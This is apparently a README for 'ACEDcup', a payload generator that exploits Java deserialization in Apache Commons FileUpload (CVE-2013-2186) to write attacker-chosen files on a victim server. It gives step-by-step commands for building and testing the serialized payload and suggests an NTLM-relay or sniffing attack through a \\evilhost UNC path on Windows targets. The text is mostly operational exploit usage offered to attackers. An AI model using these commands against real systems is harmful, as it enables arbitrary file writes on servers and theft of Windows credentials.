ACEDcup tool is a payload generator for Java Binary Deserialization attack (ACED)
For Apache Commons FileUpload ver <= 1.3 (CVE-2013-2186) and Oracle JDK ver < 7u40
The attack works even for newer versions of the lib or Java. We can upload any content in any directory, but we cannot control a file name (smth like upload_f71d3547_72ed_4ae1_90fe_0d319115cd42_00000000.tmp) in this situation. Hovewer, it may be useful in some cases.
Also we can perform a NTLM-relay/sniffing attack (using \\evilhost\any\path) if your target is on Windows OS.
1)At first, we create a serialized payload:
java -jar aced_cup.jar /path/payload /path/target /path/out 1
/path/payload - a path to a file with your payload
/path/target - a path to a file that will be created in your victim (this will be stored in the serialized payload)
/path/out - a path to a file with serialized payload
0 - turn off null-byte ending if you attack a patched system (with null-byte- by default)
2)Then we set the serialized payload to the serialized reader (if we want to test the vuln on your host) :
java -jar ser_reader serialized_payload.txt
ser_reader tries to deserialize the payload and because of a vulnerability in it's library, it creates a new file in the directory specified.
java -jar aced_cup.jar D:\\cup_exploit\\payload.txt /home/user/test/any_name.txt D:\\cup_exploit\\serialized_payload.txt
```java -jar ser_reader D:\cup_exploit\serialized_payload.txt````
